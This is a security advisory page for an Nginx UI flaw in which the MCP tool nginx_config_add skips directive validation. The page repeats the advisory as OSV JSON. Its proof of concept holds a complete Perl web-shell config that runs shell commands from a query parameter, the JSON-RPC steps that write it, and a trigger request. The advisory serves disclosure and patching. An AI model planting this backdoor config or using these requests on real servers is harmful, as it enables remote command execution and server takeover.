GHSA-9JWW-CXG5-RJ9M

Vulnerability from github – Published: 2026-10-15 20:11 – Updated: 2026-10-15 20:11
VLAI
Summary
Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE
Details

Summary

The MCP tool nginx_config_add writes nginx configuration files to disk and triggers an nginx reload without calling config.ValidateConfigFile. The identical flow in the REST API (POST /api/configs) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (perl, js_import, load_module, user root, etc.), bypassing nginx-ui's entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.

Details

api/config/add.go (line 46) calls config.ValidateConfigFile before writing:

err = config.ValidateConfigFile(path, content)  // validates directives, checks blocklist
if err != nil {
    cosy.ErrHandler(c, err)
    return
}

mcp/config/config_add.go (line 79) omits that call entirely and writes directly:

err = os.WriteFile(path, []byte(content), 0644)  // no ValidateConfigFile, no blocklist check
...
res := nginx.Control(nginx.Reload)               // reload triggered immediately

config.ValidateConfigFile runs two checks: - ValidateConfigContent — rejects control characters, enforces encoding. - ValidateConfigDirectives — rejects a blocklist of dangerous directives: perl, perl_modules, perl_require, perl_set, js_import, js_set, js_content, load_module (restricted modules), user root, and others.

Neither check runs on the MCP path. Note that mcp/config/config_modify.go does call ValidateConfigFile correctly — only config_add.go is affected.

The MCP endpoint (GET /mcp SSE + POST /mcp_message JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.

PoC

1 — Control: confirm REST API blocks the payload

POST /api/configs
Authorization: <token>

{ "name": "rce.conf", "base_dir": "conf.d", "content": "<perl config below>", "overwrite": true }

Response:

HTTP 500  scope=config  code=40017
message: file content contains restricted nginx directive: {0}

ValidateConfigDirectives rejects perl — the REST API is working as intended.

2 — Open MCP SSE session

GET /mcp
Authorization: <token>
Accept: text/event-stream

Extract sessionId from the endpoint event.

3 — MCP initialize handshake

POST /mcp_message?sessionId=<id>

{ "jsonrpc": "2.0", "id": 1, "method": "initialize",
  "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "1.0" } } }

4 — Call nginx_config_add with the identical blocked payload

POST /mcp_message?sessionId=<id>

{
  "jsonrpc": "2.0", "id": 2, "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "rce_backdoor.conf",
      "base_dir": "conf.d",
      "overwrite": true,
      "content": "server {\n    listen 8888;\n\n    location /rce {\n        perl 'sub {\n            my $r = shift;\n            my ($cmd) = ($r->args =~ /(?:^|&)cmd=([^&]*)/);\n            $cmd ||= \"id\";\n            $r->send_http_header(\"text/plain\");\n            $r->print(qx($cmd 2>&1));\n            return OK;\n        }';\n    }\n}\n"
    }
  }
}

Response (HTTP 200 OK) — file written to /etc/nginx/conf.d/rce_backdoor.conf, nginx reloaded automatically:

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "content": [
      {
        "type": "text",
        "text": "{\"content\":\"...\",\"file_path\":\"/etc/managed-nginx/conf.d/rce_backdoor.conf\",\"name\":\"rce_backdoor.conf\"}"
      }
    ]
  }
}

The perl directive — explicitly listed in blockedConfigDirectives and rejected by the REST API — passes through without any check.

5 — Trigger RCE

GET http://<target>:8888/rce?cmd=id
uid=101(nginx) gid=101(nginx) groups=101(nginx)

Impact

Any authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.

On servers running nginx with the Perl module (nginx:mainline-perl) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a user root; directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.10-0.20250506154222-1330888280a2"
            },
            {
              "fixed": "1.9.10-0.20260703131214-23d1934099b0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-15T20:11:18Z",
    "nvd_published_at": "2026-10-12T21:17:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe MCP tool `nginx_config_add` writes nginx configuration files to disk and triggers an nginx reload without calling `config.ValidateConfigFile`. The identical flow in the REST API (`POST /api/configs`) does call that function and correctly rejects dangerous directives. An authenticated attacker can exploit this gap to write config files containing any blocked directive (`perl`, `js_import`, `load_module`, `user root`, etc.), bypassing nginx-ui\u0027s entire security layer. On a server with the nginx Perl, njs, or Lua module loaded, this is post-authentication Remote Code Execution.\n\n### Details\n\n`api/config/add.go` (line 46) calls `config.ValidateConfigFile` before writing:\n\n```go\nerr = config.ValidateConfigFile(path, content)  // validates directives, checks blocklist\nif err != nil {\n    cosy.ErrHandler(c, err)\n    return\n}\n```\n\n`mcp/config/config_add.go` (line 79) omits that call entirely and writes directly:\n\n```go\nerr = os.WriteFile(path, []byte(content), 0644)  // no ValidateConfigFile, no blocklist check\n...\nres := nginx.Control(nginx.Reload)               // reload triggered immediately\n```\n\n`config.ValidateConfigFile` runs two checks:\n- **`ValidateConfigContent`** \u2014 rejects control characters, enforces encoding.\n- **`ValidateConfigDirectives`** \u2014 rejects a blocklist of dangerous directives: `perl`, `perl_modules`, `perl_require`, `perl_set`, `js_import`, `js_set`, `js_content`, `load_module` (restricted modules), `user root`, and others.\n\nNeither check runs on the MCP path. Note that `mcp/config/config_modify.go` does call `ValidateConfigFile` correctly \u2014 only `config_add.go` is affected.\n\nThe MCP endpoint (`GET /mcp` SSE + `POST /mcp_message` JSON-RPC) accepts the same JWT and node-secret tokens as the REST API, so the attack surface is any authenticated session.\n\n### PoC\n\n**1 \u2014 Control: confirm REST API blocks the payload**\n\n```\nPOST /api/configs\nAuthorization: \u003ctoken\u003e\n\n{ \"name\": \"rce.conf\", \"base_dir\": \"conf.d\", \"content\": \"\u003cperl config below\u003e\", \"overwrite\": true }\n```\n\nResponse:\n```\nHTTP 500  scope=config  code=40017\nmessage: file content contains restricted nginx directive: {0}\n```\n\n`ValidateConfigDirectives` rejects `perl` \u2014 the REST API is working as intended.\n\n**2 \u2014 Open MCP SSE session**\n\n```\nGET /mcp\nAuthorization: \u003ctoken\u003e\nAccept: text/event-stream\n```\n\nExtract `sessionId` from the `endpoint` event.\n\n**3 \u2014 MCP initialize handshake**\n\n```\nPOST /mcp_message?sessionId=\u003cid\u003e\n\n{ \"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\",\n  \"params\": { \"protocolVersion\": \"2024-11-05\", \"capabilities\": {}, \"clientInfo\": { \"name\": \"poc\", \"version\": \"1.0\" } } }\n```\n\n**4 \u2014 Call `nginx_config_add` with the identical blocked payload**\n\n```\nPOST /mcp_message?sessionId=\u003cid\u003e\n\n{\n  \"jsonrpc\": \"2.0\", \"id\": 2, \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"nginx_config_add\",\n    \"arguments\": {\n      \"name\": \"rce_backdoor.conf\",\n      \"base_dir\": \"conf.d\",\n      \"overwrite\": true,\n      \"content\": \"server {\\n    listen 8888;\\n\\n    location /rce {\\n        perl \u0027sub {\\n            my $r = shift;\\n            my ($cmd) = ($r-\u003eargs =~ /(?:^|\u0026)cmd=([^\u0026]*)/);\\n            $cmd ||= \\\"id\\\";\\n            $r-\u003esend_http_header(\\\"text/plain\\\");\\n            $r-\u003eprint(qx($cmd 2\u003e\u00261));\\n            return OK;\\n        }\u0027;\\n    }\\n}\\n\"\n    }\n  }\n}\n```\n\nResponse (`HTTP 200 OK`) \u2014 file written to `/etc/nginx/conf.d/rce_backdoor.conf`, nginx reloaded automatically:\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 2,\n  \"result\": {\n    \"content\": [\n      {\n        \"type\": \"text\",\n        \"text\": \"{\\\"content\\\":\\\"...\\\",\\\"file_path\\\":\\\"/etc/managed-nginx/conf.d/rce_backdoor.conf\\\",\\\"name\\\":\\\"rce_backdoor.conf\\\"}\"\n      }\n    ]\n  }\n}\n```\n\nThe `perl` directive \u2014 explicitly listed in `blockedConfigDirectives` and rejected by the REST API \u2014 passes through without any check.\n\n**5 \u2014 Trigger RCE**\n\n```\nGET http://\u003ctarget\u003e:8888/rce?cmd=id\n```\n\n```\nuid=101(nginx) gid=101(nginx) groups=101(nginx)\n```\n\n### Impact\n\nAny authenticated user (valid JWT or node-secret) can write an nginx configuration file containing any directive from the security blocklist. nginx-ui reloads nginx automatically after the write, activating the malicious config immediately. No further interaction is required.\n\nOn servers running nginx with the Perl module (`nginx:mainline-perl`) or nginx+njs, this results in arbitrary OS command execution running as the nginx worker user. Combined with a `user root;` directive (also unblocked via this path), the worker process can be escalated to root before the RCE handler fires.",
  "id": "GHSA-9jww-cxg5-rj9m",
  "modified": "2026-10-15T20:11:18Z",
  "published": "2026-10-15T20:11:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-9jww-cxg5-rj9m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84318"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation \u2014 Authenticated RCE"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.